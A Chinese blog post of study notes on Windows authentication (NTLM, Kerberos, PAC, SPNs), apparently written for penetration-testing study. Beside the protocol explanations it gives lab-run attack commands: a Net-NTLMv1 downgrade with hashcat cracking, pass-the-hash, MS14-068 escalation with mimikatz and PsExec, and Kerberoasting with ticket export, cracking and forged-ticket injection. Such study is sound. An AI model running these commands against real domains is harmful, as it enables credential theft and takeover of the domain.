Jirairya

浅学Windows认证

2019-07-23

在系统学习Windows认证的时候,记了一些笔记,以待后续温习。由于其他事情耽搁,博文残缺部分将后续再补充。

Windows本地认证

sam的简称是Security Account Manager,安全账户管理器。

Windows XP、Windows Vista、Windows 7、Win 8.1 Win 10的用户密码以hash形式存储在%SystemRoot%\system32\config\sam数据库文件中。被保存的hash分为LM Hash和NTLM hash;微软在Windows NT 4.0中引入SYSKEY对SAM文件加密。

登录系统的时候,系统会自动地读取SAM文件中的密码与键入的密码进行比对,如果相同,则认证成功。

操作系统启动之后,SAM文件将同时被锁定。这意味着操作系统运行之时,用户无法打开或复制SAM文件。除了锁定,整个SAM文件还经过加密,且不可见。

NTLM Hash

通常是指Windows系统下Security Account Manager中保存的用户密码hash。

LM Hash是NTLM Hash的前身,自Windows Vista和Windows Server 2008开始,LM hash已被淘汰。

当用户登录时,将用户输入的明文密码加密成NTLM Hash,与SAM数据库文件中的NTLM Hash进行比较。

在渗透测试中,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash,通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM hash

NTLM Hash算法

  1. 将明文口令转换成十六进制的格式
  2. 转换成Unicode格式,即在每个字节之后添加0x00
  3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串

fuck-> hex:6675636b hex->Unicode:6600750063006b00 Unicode->MD4:8592e1331718673b0ee32df3c0153456

>>> from passlib.hash import nthash
>>> hash_test = nthash.hash('fuck')
>>> print hash_test
8592e1331718673b0ee32df3c0153456

使用mimikatz抓取密码作为验证,结果一致:

本地认证流程

winlogon.exe -> 接收用户输入 -> lsass.exe -> 认证
  1. 当刚开机、注销等操作后,winlogon.exe进程会显示一个登录界面要求输入用户名和密码。
  2. 输入用户名和密码后,会被winlogon.exe获取,然后将其发送给lsass.exe进程。
  3. lsass.exe将明文密码计算得到NT Hash(不考虑LM)。 4.之后会将用户名和计算得到的NT Hash拿到SAM数据库去查找比对。

Windows Logon Process(即 winlogon.exe),是Windows NT 用户登 陆程序,用于管理用户登录和退出。

LSASS用于微软Windows系统的安全机制。它用于本地安全和登陆策略。

Windows网络认证

在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑 上的网络环境(工作区),隶属于工作组的机器之间无法互相建立一个完美的信任机制,只能点对点,是比较落后的认证方式, 没有信托机构。

假设A主机与B主机属于同一个工作组环境,A想访问B主机上的资料,需要将一个存在于B主机上的账户凭证发送至B主机,经过认证才能够访问B主机上的资源。

这是我们接触比较多的SMB共享文件的案例,SMB的默认端口是445。

早期SMB协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制,简称LM,它很容易被破解,就又有了NTLM以及Kerberos。

- xp 2003 win7 2008 2012
LM-hash x x x
NTLM-hash

NTLM协议

NTLM是一种网络认证协议,它是基于挑战(Challenge)/响应(Response)认证机制的一种认证模式。

这个协议只支持Windows

Net-NTLM hash

NTLM:NT (New Technology) LAN Manager

NTLM网络认证协议是以NTLM Hash作为凭证进行认证。NTLM Hash长度为32位,由数字和字母组成。

Challenge–response authentication(质询/响应)

NTLM认证采用质询/响应(Challenge/Response)的消息交换模式,流程如下:

  1. 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash
  2. 服务器接收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge,获得Challenge1
  3. 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器
  4. 服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功

在以上流程中,登录用户的密码hash即NTLM hash,response中包含Net-NTLM hash

更多NTLM认证的资料可参考:

http://davenport.sourceforge.net/ntlm.html

在NTLM认证中,NTLM响应分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法

所以也就存在不同协议的Net-NTLM hash,即Net-NTLM v1 hash,Net-NTLM v2 hash

Net-NTLMv1破解

在客户端上修改注册表,开启使用Net-NTLMv1:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 0 /f

自Windows Vista/Server2008开始,系统默认禁用Net-NTLMv1,使用Net-NTLMv2;仅修改客户端即可,服务器不用修改

使用net use连接服务器的同时,使用wireshark抓包。

前四个数据包为NTLM的认证过程,查看第二个数据包,获取challenge为82970b10077618c4

查看第三个数据包可以知道LM Response为 f9fb47f1f323b8e600000000000000000000000000000000,NTLM response为835207427e50c2b7cac93e20a2ac075c8bee7cf8a54a494c

第二次数据包的challeng:82970b10077618c4
LM Response: f9fb47f1f323b8e600000000000000000000000000000000
NTLM response:835207427e50c2b7cac93e20a2ac075c8bee7cf8a54a494c
NTLM Server Challenge: 82970b10077618c4

根据NTLMv1的格式username::hostname:LM_response:NTLM_response:challenge构造发出的数据包:

Administrator::GOD:f9fb47f1f323b8e600000000000000000000000000000000:835207427e50c2b7cac93e20a2ac075c8bee7cf8a54a494c:82970b10077618c4

使用hashcat解密:

sudo hashcat -m 5500 Administrator::GOD:f9fb47f1f323b8e600000000000000000000000000000000:835207427e50c2b7cac93e20a2ac075c8bee7cf8a54a494c:82970b10077618c4 /opt/dict/dist.list --force

NTLMv2协议

NTLMv1和NTLMv2的加密因素都是NTLM Hash,而最显著的区别就是Challenge和加密算法不同:

  • Challage: NTLMv1的Challenge有8位,NTLMv2的Challenge为16位。

  • Net-NTLM Hash:NTLMv1的主要加密算法是DES,NTLMv2的主要加密算法是HMAC-MD5。

获取哈希

https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/

Pass The Hash

在内网中,获取不到明文密码,且破解不了hash时,可以使用哈希传递,扩展权限。

根据NTLM质询/响应的过程,可以知道哈希传递就是利用对应用户名的NTLM Hash加密服务器生成的Challenge(即Response),进行比对,完成认证

常用工具:

使用Kerberos进行PTH

https://malicious.link/post/2018/pass-the-hash-with-kerberos/

使用本机mstsc进行PTH

https://michael-eder.net/post/2018/native_rdp_pass_the_hash/

从哈希传递攻击谈Windows安全机制

https://www.anquanke.com/post/id/85995

对NTLM认证的Web程序进行PTH

https://labs.mwrinfosecurity.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/

Kerberos域认证

Active Directory概念

Active Directory,活动目录简称AD,是一个基于DNS并以树状的数据结构来组成网络服务存储了有关网络对象的信息,并以此作为基础对目录信息进行合乎逻辑的分层组织,让管理员和用户能够轻松地查找和使用这些信息。常网域都只有一个,在中型或大型的网络中,网域可能会有很多个,或是和其他公司或组织的AD相互链接。

网络对象分为用户、用户组、计算机、域、组织单元以及安全策略。

Active Directory功能

活动目录(AD)功能:

  • 服务器及客户端计算机管理:管理服务器及客户端计算机账户, 所有服务器及客户端计算机加入域管理并实施组策略。
  • 用户服务:管理用户域账户、用户信息、企业通讯录(与电子邮 件系统集成)、用户组管理、用户身份认证、用户授权管理等, 按省实施组管理策略。
  • 资源管理:管理打印机、文件共享服务等网络资源。
  • 桌面配置:系统管理员可以集中的配置各种桌面配置策略,如: 用户使用域中资源权限限制、界面功能的限制、应用程序执行特 征限制、网络连接限制、安全配置限制等。
  • 应用系统支撑:支持财务、人事、电子邮件、企业信息门户、办 公自动化、补丁管理、防病毒系统等各种应用系统。

存储方式

ntds.dit

ntds.dit是AD中的数据库文件,它被保存在域控制器C:\Windows\NTDS\NTDS.dit位置。活动目录的数据库文件(ntds.dit)包含有关活动目录域中所有对象的所有信息,其中包含所有域用户和计算机帐户的密码哈希值。该文件在所有域控制器之间自动同步,它只能被域管理员访问和修改。

LDAP

ldap 是基于tcp/ip的轻量级目录访问协议,这种数据库文件后缀都为.ldif,并使用特殊的节点查询语句来获取相应数据。和常规关系型数据库不同的是,ldap并非按照常规的库、表、字段方式来存储数据,而是按照一种特殊的倒树状结构层级来组织管理数据,此处的树指的就是目录信息树,即DIT。(目录信息树相当于专门用来进行读操作的数据库。)

目录信息树里创建一个条目(entry)时,条目的信息存储在属性(attribute)里,属性又被组合成对象类(objectClass),对象类进一步组成了架构(schema)

在DIT内部则由N个条目entry所组成,就相当于常规数据库表中每条具体的记录,而条目的内容则是由具有唯一标识名DN的属性[Attribute]及属性对应的值[value]所组成的一个集合。

条目为ldap中最基础的操作单位,通常对ldap的增、删、改、查都是以条目为基本单元进行的。

本地打开LDAP编辑器。运行->打开adsiedit.msc(只有域控居于整个域内的配置信息):

使用LDAP Browser可以远程打开LDAP。

Kerberos概述

Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。软件设计上采用客户端/服务器结构,并且能够进行相互认证,即客户端和服务器端均可对对方进行身份认证。可以用于防止窃听、防止重放攻击、保护数据完整性等场合,是一种应用对称密钥体制进行密钥管理的系统。支持SSO。Kerberos的扩展产品也使用公开密钥加密方法进行认证。

当有N个人使用该系统时,为确保在任意两个人之间进行秘密对话,系统至少保存有它与每个人的共享密钥,所需的最少会话密钥数为N个。

Kerberos协议基于对称密码学,并需要一个值得信赖的第三方。Kerberos协议的扩展可以为认证的某些阶段提供公钥密码学支持。

可参见资料:

Kerberos认证所参与的角色

Kerberos的标志是地狱三头犬,狗头分别代表以下角色:

  • 访问服务的Client
  • 提供服务的Server
  • KDC(Key Distribution Center,密钥分发中心) = DC(Domain Controller)

其中KDC服务默认安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务、SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定


认证中涉及到的部分词汇:

  • AD(Account Database):存储所有Client白名单,只有存在于白名单的Client才能申请到AS给的TGT。
  • Authentication Server为Client生成TGT的服务。 AS的作用是验证Client端的身份,验证通过就会给一个TGT(Ticket Granting Ticket)票据给Client。
  • Ticket Granting Server为client生成某个服务的ticket。 TGS的作用是通过AS发送给Client的票据(TGT)换取访问Server端的ST票据。ST(Service Ticket)也有资料称为TGS Ticket,为了和TGS区分,此处使用ST
  • Session Key:会话密钥,只有Client和TGS知道
  • 票据(Ticket):是网络对象互相访问的凭证。
  • TGT(Ticket Granting Ticket):入场券,通过入场券能够获得票据,是一种临时凭证的存在。

当Client想要访问Server上的某个服务时,需要先向AS证明自己的身份,然后通过AS发放的TGT向Server发起认证请求,这个过程分为三块:

  • The Authentication Service Exchange: Client与AS的交互
    • AS_REQ
    • AS_REP
  • The Ticket-Granting Service (TGS) Exchange: Client与TGS的交互
    • TGS_REQ
    • TGS_REP
  • The Client/Server Authentication Exchange: Client与Server的交互
    • AP_REQ
    • AP_REP
  • 每次交互Client可以收到两条消息,一条是可以解密的,一条是无法解密的
  • Client期望访问的服务或者主机从不直接与KDC通信
  • KDC存储了其数据库下所有主机和服务的密钥
  • 密钥由密码加上一组随机数的哈希值,哈希算法由Kerberos的具体实现选择。对于服务和主机而言,其本身是没有密码的。一个密码实际上是由管理员的初始启动时产生和存储于服务和主机中的
  • 所有密钥存储于KDC数据库
  • KDC本身由主密钥加密
  • 已经存在Kerberos的配置和实现采用公钥加密

Kerberos认证流程

整体流程:

Kerberos详细的认证与授权协议图解:

用户登录

用户登录阶段,通常由用户(Bob)输入[用户名][密码]信息,在客户端侧,用户输入的密码信息被一个单向Hash函数生成Client密钥,即Bob的NTLM Hash:

请求身份认证

客户端向AS发送请求认证

【一】KRB-AS-REQ:Client 发送明文用户名BobAuthenticator1信息到 KDC (Key Distribution Center)。Authenticator1的内容为使用Client密码哈希加密的时间戳、Client ID、网络类型、加密类型等:

AS确认客户端登陆者身份

【二】KRB-AS-REP:AS收到用户认证请求后,AS根据请求中的用户名Bob信息,从数据库中查找用户名是否存在。如果用户名Bob存在,则从KDC中可以获取用户Bob的密码,使用单向函数为该密码生成一个Client密钥(即NTLM Hash)。

AS生成随机字符串 Client/TGS Session Key,使用Client密钥(用户Bob的密码NTLM Hash )对 Client/TGS Session Key 加密得到sessionkey_as

再使用TGS密钥(krbtgt用户的 NTLM Hash)对 Client/TGS Session Key 、 Client Info和 Timestamp 加密,得到 TGT(TGT票据)。

sessionkey_asTGT 一起返回给 Client。

Client收到AS的响应消息后,利用自身的Client密钥(Bob的NTLM Hash)对sessionkey_as解密,这样就获取到Client/TGS Session Key

AS的响应消息中有一条是属于Client的,有一条是TGS的。

请求授权访问服务

客户端向TGS发送请求服务授权请求

【三】KRB-TGS-REQ:Client 收到sessionkey_asTGT后,使用Client密钥(Bob的NTLM Hash)对sessionkey_as解密就能得到 Client/TGS Session Key,然后使用 Client/TGS Session Key 对 Client Info 和 timestamp 加密得到 Authenticator2

Authenticator2TGTService ID(要请求的服务ID)发送给 KDC中的 TGS。

由于TGT是使用TGS密钥(krbtgt的NTLM Hash)加密的,Client无法对TGT解密。

TGS为Client响应服务授权票据

【四】TGS-REP:TGS 收到请求后,检查KDC数据库中是否存在所请求的服务(Service ID)。如果存在,TGS使用TGS密钥(krbtgt的NTLM Hash)解密TGT,得到Client/TGS Session Key、timestamp、Client info;同时使用从TGT中解密得到的Client/TGS Session Key去解密Authenticator2,得到Client info和timestamp。 比对Authenticator2TGT的解密内容以验证通过。

  • TGS比对Authenticator2包含的Client IDTGT中的Client ID
  • 比较时间戳(误差范围在2分钟)
  • 通过生命周期字段检查TGT是否过期
  • 检查Authenticator2已经不再TGS的缓存中
  • 若原始请求中的网络地址不为NULL,比较TGT中的IP和请求的IP

验证成功后,随机生成Client所请求服务的会话密钥Client/Server Session Key

使用Server 密钥(即服务器计算机的NTLM Hash)对Client/Server Session KeyClient Info(包含Client ID)、TimeStamp加密得到Client-To-Server Ticket(也称为ST票据);

使用Client/TGS Session KeyClient/Server Session Key加密得到sessionkey_tgs

最终将Client-To-Server Ticketsessionkey_tgs返回给Client。

请求服务

Client 向SS(Service Server)发送服务请求

【五】AP-REQ:Client 收到Client-To-Server Ticketsessionkey_tgs之后,使用Client/TGS Session Keysessionkey_tgs解密得到Client/Server Session Key,然后使用Client/Server Session Key对Client Info和timestamp加密得到Authenticator3

Authenticator3Client-To-Server Ticket发送给所请求服务的服务器(Service Server)。

Service Server响应Client

【六】AP-REP:Service Server收到客户端的服务访问请求之后,利用Server密钥(Server的ntlm Hash)对Client-To-Server Ticket解密,提取出Client/Server SessionKey、Client ID等信息。

Service Server使用Client/Server SessionKeyAuthenticator3解密得到Client ID和TimeStamp。

类似于TGS,Service Server也要做如下校验:

  • Client ID;
  • 时间戳;
  • ticket是否过期;
  • 避免重放攻击,查看Service Server的cache是否包含authenticator3;
  • 网络地址比较

Service Server发送最后的验证消息——用Client/Server SessionKey加密的 Timestamp和Service ID 数据包给Client。

Client收到之后,使用缓存的Client/Server SessionKey解密提取Timestamp信息,然后确认该信息与Client发送的Authenticator3中的Timestamp信息是否一致。验证通过后,在定义的通讯周期内,Client可以使用票据请求Service。

由此完成了Client和Service Server的双向认证。

  • Kerberos 协议设计的思路就是用来在不受信的环境下进行认证的协议。
  • krbtgt 账号的 NTLM Hash 理论上只存在于 KDC 中。这意味着 TGT 只能由 KDC 来解密。如果krbtgt 账号的NTLM Hash泄露了,那么 TGT 就能被解密甚至伪造。伪造的 TGT 叫做黄金票据。
  • Ticket 是由服务器计算机本身的 NTLM Hash 加密的,Client 不能解密。如果该Hash 泄露,那么就可以解密甚至伪造 Ticket。伪造的 Ticket 叫做白银票据。
  • 在上述的流程中,涉及到时间戳 timestamp,由于它的存在,才使得被第三方获取了加密信息 Authenticator1 、Authenticator2、TGT不会在短时间内被暴力破解。timestamp 一般时间为8小时。
  • Kerberos 协议和 NTLM 协议都会使用 NTLM Hash 对生成的任意随机数加密,然后比对结果。 Kerberos 的主要区别在于添加了第三方——-KDC参与到认证过程中。
  • Client info 中包含网络地址、Client ID等信息

PAC

上述为RFC规定的Kerberos认证授权流程(其中NTLM Hash是针对Windows举例的),而微软所实现的Kerberos工作流程与之则有所不同,其区别的关键就在于,KDC所返回的KRB_AS_REP中将包含一组PAC的信息。

该处PAC相关知识参见的是微软technet的博文 PAC在Kerberos认证协议中的作用

PAC的全称是Privilege Attribute Certificate(特权属性证书)。其中所包含的是各种授权信息, 例如用户所属的用户组、用户所具有的权限等。(User SID和Groups SID)

为了防止被伪造和串改,在PAC中包含有两个数字签名PAC_SERVER_CHECKSUMPAC_PRIVSVR_CHECKSUM,这两个数字签名分别由Server端密码HASH和KDC的密码HASH加密。

正如上文所述,当用户与KDC之间完成了认证过程之后, 用户需要访问服务器所提供的某项服务时, 服务器为了判断用户是否具有合法的权限必须通过将用户的用户名传递给KDC, KDC通过得到的用户名查询用户的用户组信息, 用户权限等, 进而返回给服务器, 服务器再将此信息与用户所索取的资源的ACL进行比较, 最后决定是否给用户提供相应的服务。

在Windows的Kerberos实现中, 默认情况下,KRB_AS_REP信息中将包含一组PAC信息, 也就是说, 用户所得到的TGT(TicketGranting Ticket)会包含用户的授权信息。用户再用包含有授权信息的TGT去申请相应的Service Ticket,KDC在收到这个KBR_AP_REQ请求的时候, 将TGT里的PAC信息解析出来, 加入到Service Ticket里返回。接下来, 当用户向服务器程序提交KRB_AP_REQ消息时, 服务器程序则将其中所包含的PAC信息传送给操作系统得到一个访问令牌, 并且同时将这个PAC的数字签名以KRB_VERIFY_PAC的消息传输给KDC, KDC再将验证这个PAC的数字签名的结果以RPC返回码的形式告诉服务器, 服务器就可以根据这个结果判断PAC数据的真实性和完整性,并做出最后对KRB_AP_REQ的判断。

  • 优点:
    • 以后对资源的访问中, 服务端再接收到客户的请求的时候不再需要借助KDC的帮助提供完整的授权信息来完成对用户权限的判断, 而只需要根据请求中所包含的PAC信息直接与本地资源的ACL相比较做出裁决。
    • 解决 PAC 欺骗,防止攻击者利用篡改的 PAC 信息实现未授权访问
  • 缺点:
    • PAC在用户的认证阶段引入会导致认证耗时过长。(Windows Kerberos客户端会通过 RPC 调用KDC上的函数来验证PAC信息,这时候用户会观察到在服务器端与KDC之间的RPC包流量的增加。)
    • 由于PAC是微软特有的一个特性,所以启用了PAC的域中将不支持装有其他操作系统的服务器,制约了域配置的灵活性

ms14-068

ms14-068漏洞是KDC服务中的Windows漏洞,是由PAC认证错误引起,导致域内普通用户可以在Kerberos TGT中加入伪造的凭据,从域用户提升到域管理员权限。受影响的版本见Microsoft 安全公告 MS14-068-严重,打上补丁kb3011780即可。

可参见资料:

在执行ms14-068漏洞之前,需要通过systeminfo看目标机器是否打补丁kb3011780,如果没打就可以尝试使用该方法进行域提权。

先dir访问域控机器的共享目录,受限:

dir \\OWA2010SP3.0day.org\c$

查看到当前账户的SIDS-1-5-21-1812960810-2335050734-3517558805-1133

whoami /all

使用https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068 中的exe生成缓存的TGT票据:

MS14-068.exe -u jack@0day.org -p admin!@#45 -s S-1-5-21-1812960810-2335050734-3517558805-1133 -d OWA2010SP3.0day.org

-u => 域账户+@+域名 -p => 当前用户的密码 -s => 当前账户的SID -d => 当前域的域控

将当前缓存的Kerberos票据进行清理:

//系统命令
klist purge
//或mimikatz
kerberos::purge

使用mimikatz伪造的票据注入到内存中:

此时查看域控的共享目录就可以看见文件了:

也能执行psexec:

PsExec64.exe -accepteula \\OWA2010SP3.0day.org -s cmd /c "whoami /all"

当攻击机是Linux的时候,有所区别,需要在本地机器(Linux)先配置KRB5,同步时间,再进行该攻击。可参见 https://fzuckerman.wordpress.com/2016/10/09/knock-and-pass-kerberos-exploitation/https://www.absolomb.com/2018-02-24-HackTheBox-Mantis-Writeup/

SPN

SPN概述

可参见资料:

服务主体名称(SPN:Service Principal Names)是服务实例(可以理解为一个服务,比如HTTP、MSSQL)的唯一标识符(即服务器上所运行服务的唯一标识)。Kerberos使用SPN将服务实例与服务登录帐户相关联。如果在整个域 或 域林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端使用多个名称进行身份验证,则给定的服务实例具有多个SPN。SPN始终包含运行服务实例的主机名称,因此服务实例可以为其主机的每个名称或别名注册SPN。

使用Kerberos的域认证认证服务,需要正确配置SPN

SPN在其注册的域林中必须是唯一的,若不唯一,则身份验证就会失败。

SPN的格式:

<service type>/<host>:<port>/<DistinguishedName>

// <service type>:服务类型,如LDAP、TERMSRV、SMTP、MSSQL、HTTP
// <host>:服务所在主机名称,可以是FQDN(如data.test.lab、server.test.lab)和NetBIOS名(如data、server)

// <port>:服务端口,若服务运行在默认端口上,则端口号可以省略
// <Distinguished Name>:专有名称

通用服务类型(可参见https://adsecurity.org/?page_id=183):

服务类型 说明
TERMSRV 远程桌面服务
SmtpSVC&SMTP 邮件服务
WSMAN WinRM(Windows远程管理)
ExchangeAB,ExchangeRFR&ExechangeMDM 微软Exchange服务
POP/POP3 POP3邮箱服务
IMAP/IMAP4 IMAP服务
MSSQLSvc MS SQL服务
GC 全局编录服务
DNS DNS服务
HTTP Web服务
LDAP LDAP服务
Dfsr DFS复制服务

SPN扫描

如果要使用 Active Directory 作为 Kerberos 实现,可以使用setspn 命令来注册 SPN。要运行此命令,必须满足下列条件:

  • 必须登录到域控制器
  • 必须运行提升了特权的命令提示符(以管理员身份运行)
  • 必须是 Domain Admins 组的成员(或者域管理员已授予您适当的许可权)

SPN分为两种:

  • 当一个服务的权限为Local System或Network Service,则SPN注册在域内机器帐户(Computers)下
  • 当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

SPN对域控制器进行LDAP查询,是Kerberos的行为之一,域内的主机都能查询SPN。

所以在域内不用做端口扫描也可以隐蔽地探测域内的服务。当利用SPN扫描找到域管登录过的系统,对渗透权限扩展有很大的帮助。

AGPMServer:通常具有所有GPO的完全控制权。
MSSQL/MSSQLSvc:具有管理员权限的SQL服务器通常会有一些有趣的数据。
FIMService:通常对多个AD林具有管理权限。
STS:VMWare SSO服务,可以提供访问VMWare的后门。
  • RC4加密的使用tgsrepcrack解密
  • AES加密的使用Kirbi2john转换为hash,通过hashcat爆破

例子:

Bob要访问MSSQL服务的资源,进行到Kerberos认证的第四步(TGS-REP)时,KDC查询MSSQL服务的SPN,若该SPN注册在机器账户(Computers)下,TGS将会查询数据库中所有机器账户(Computers)的ServicePrincipalName属性,找到对应的账户,使用该账户的NTLM Hash对Client/Server Session KeyClient Info(包含Client ID)、TimeStamp加密得到Client-To-Server Ticket(也称为ST票据)。若查询服务的SPN注册在域用户账户(Users)下,TGS将会查询数据库中所有域用户账户(Users)的ServicePrincipalName属性,找到对应的账户,使用该账户的NTLM Hash对Client/Server Session KeyClient Info(包含Client ID)、TimeStamp加密得到Client-To-Server Ticket(也称为ST票据)

内置工具setspn查询

setspn是Windows内置工具,可以检索用户账户和服务之间的映射,此工具可以添加、删除、查看SPN的注册情况。

setspn的帮助说明:

为账户god.org/dbadmin注册SPNMSSQLSvc/SqlServer.god.org

setspn -A MSSQLSvc/SqlServer.god.org dbadmin

查看SPN:

//查看当前域内的所有SPN
setspn.exe -q */*

//查看god域内的所有SPN
setspn.exe -T god -q */*

//查看 dbadmin账户的SPN
setspn -l dbadmin

以CN开头的每一行代表一个账户,紧跟下面的信息是与该账户有关的SPN。

机器账户(Computers)为:

CN=OWA2010CN-GOD,OU=Domain Controllers,DC=god,DC=org
CN=MARY-PC,CN=Computers,DC=god,DC=org
CN=SQLSERVER,CN=Computers,DC=god,DC=org
...

域用户账户(Users)为:

CN=krbtgt,CN=Users,DC=god,DC=org
CN=dbadmin,CN=Users,DC=god,DC=org

注册在域用户账户下的SPNMSSQLSvc/SqlServer.god.org kadmin/changepw

GetUserSPNs扫描

下载 https://github.com/nidem/kerberoast ,使用工具包进行SPN信息收集。

使用其中的GetUserSPNs.ps1

.\GetUserSPNs.ps1

利用GetUserSPNs.vbs进行SPN信息查询:

cscript.exe GetUserSPNs.vbs

PowerView

使用 https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon 里的recon查看:

PS C:\Users\Administrator\Desktop\Recon> Import-Module .\PowerView.ps1
PS C:\Users\Administrator\Desktop\Recon> Get-NetUser -SPN

Powershell AD Recon

https://github.com/PyroTek3/PowerShell-AD-Recon 的PS脚本可以侦察AD域内的敏感服务,如Exchange、MSSQL。

如查看MSSQL(其他的同理):

//导入脚本
Import-Module .\Discover-PSMSSQ
LServers.ps1
//查找MSSQL所有实例
Discover-PSMSSQLServers

PowerShellery

使用 https://github.com/nullbind/Powershellery 里的Stable-ish/GET-SPN扫描SPN服务 ,不过需要较高版本的PS:

PS C:\Users\dbadmin\Desktop\Get-SPN> Import-Module .\Get-SPN.psm1
PS C:\Users\dbadmin\Desktop\Get-SPN> Get-SPN -type service -search "*"

//查找所有的SPN服务
Get-SPN -type service -search "*" -List yes | Format-Table
//查找MSSQL服务
Get-SPN -type service -search "MSSQLSvc*" -List yes
//若在一个非域系统上,可以使用以下命令执行
Get-SPN -type service -search "*" -List yes -DomainController 域控IP -Credential domainuser| Format-Table -Autosize

RiskySPN

使用 https://github.com/cyberark/RiskySPN 扫描SPN:

Import-Module .\RiskySPNs.psm1
Find-PotentiallyCrackableAccounts

Adfind

下载http://www.joeware.net/freetools/tools/adfind/ 使用其查看spn:

Adfind -f "ServicePrincipalName=MSSQLSvc*"

Adfind -h 域控地址 -sc spn:*

Kerberoast

服务票据使用服务账户的NTLM Hash加密,不用获取运行该服务系统的shell,任何域用户就可以转储Hash

TGS-REP过程中,TGS 收到请求后,会将Client-To-Server Ticket(也称为ST票据,Client-To-Server TicketServer 密钥加密)、sessionkey_tgs返回给Client。当配置Kerberos允许的加密类型是RC4-HMAC_MD5时,就可以爆破Client端获取的Client-To-Server Ticket,从而获得服务端服务账户的密码。

破解Kerberos服务票据(Client-To-Server Ticket)并重写它们,从而获得目标服务的访问权限的过程叫做Kerberoast。该过程不需要和目标服务进行交互操作,合法访问活动目录的活动,就可以请求服务票据并导出,进行脱机破解得到服务账户的明文密码。

Kerberoast攻击涉及五个步骤:

  1. SPN扫描
  2. 请求Client-To-Server Ticket
  3. 导出Client-To-Server Ticket
  4. 破解Client-To-Server Ticket
  5. 重写Client-To-Server Ticket, 进行内存注入

进行Kerberoast攻击时,需要注意以下几点因素:

  • 目标SPN服务是注册在域用户账户(Users)下
  • 域用户账户的权限很高
  • 密码最后设置时间
  • 密码到期时间
  • 最后一次登录时间

net user administrator /domain可查看


参见 https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting/

攻击者最感兴趣的是具有高权限用户组的服务帐户如域管理员组的成员。要快速列出高权限用户组的服务帐户的方法是枚举“AdminCount” 属性等于“1”的所有帐户。攻击者只需要向AD请求具有SPN且AdminCount = 1的所有用户帐户。

使用Active Directory powershell模块(域控制器一般会安装)中的 Get-ADUser cmdlet:

import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

对于没有安装的系统,可以通过以下命令导入Active Directory模块:

import-module .\Microsoft.ActiveDirectory.Management.dll

Microsoft.ActiveDirectory.Management.dll在安装powershell模块Active Directory后会生成,直接在域控上环境就能扣出来


使用gpedit.msc将域控上的组策略管理编辑器打开,配置Kerberos的加密类型为RC4,并运行gpupdate更新策略:


可参见https://github.com/nidem/kerberoast 或者https://pentestlab.blog/2018/06/12/kerberoast/ ,注意请求全部票据的PS命令有错,直接复制是不能用的。

使用Kerberoast中的GeUserSPNs进行扫描:

setspn.exe -q */*
或
cscript GetUserSPNs.vbs

请求指定的ST票据:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

或请求全部票据:

setspn.exe -T 0day.org -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.Post Context[0].Trim() }

使用klist命令查看当前会话存储的Kerberos票据:

使用mimikatz导出内存中的票据(mimikatz无需提权):

kerberos::list /export

使用 https://github.com/nidem/kerberoast 工具破解,得到sqlsrv密码为Admin12345:

python tgsrepcrack.py dict.txt 2-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi

Kerberos的票据是使用NTLM Hash进行签名,上述已经破解密码,就可以使用Kerberoast脚本重写票据,这样就可以假冒任何域用户或者虚假的账户,也可以将用户提升到域管中:

python kerberoast.py -p Admin12345 -r 2-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi -w test.kirbi -u 500
python kerberoast.py -p Admin12345 -r 2-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi -w test.kirbi -g 512

kerberos::ptt test.kirbi

攻击者知道一台服务器(或多台服务器)的服务账户和密码,就可以通过此方法将其域用户权限提升到域管。

Kerberoasting

资料可参见:

上述的kerberoast攻击,利用mimikatz从内存中导出票据破解。而Kerberoasting攻击可以不使用mimikatz,且普通用户权限就可以实现。

使用https://github.com/GhostPack/Rubeus 提取票据:

Rubeus.exe kerberoast


也可以在域内一台主机上导入 https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1 ,以普通用户权限执行:

Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | fl

只提取出hash的命令:

Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

查看https://hashcat.net/wiki/doku.php?id=example_hashes ,校验hashcat格式为:

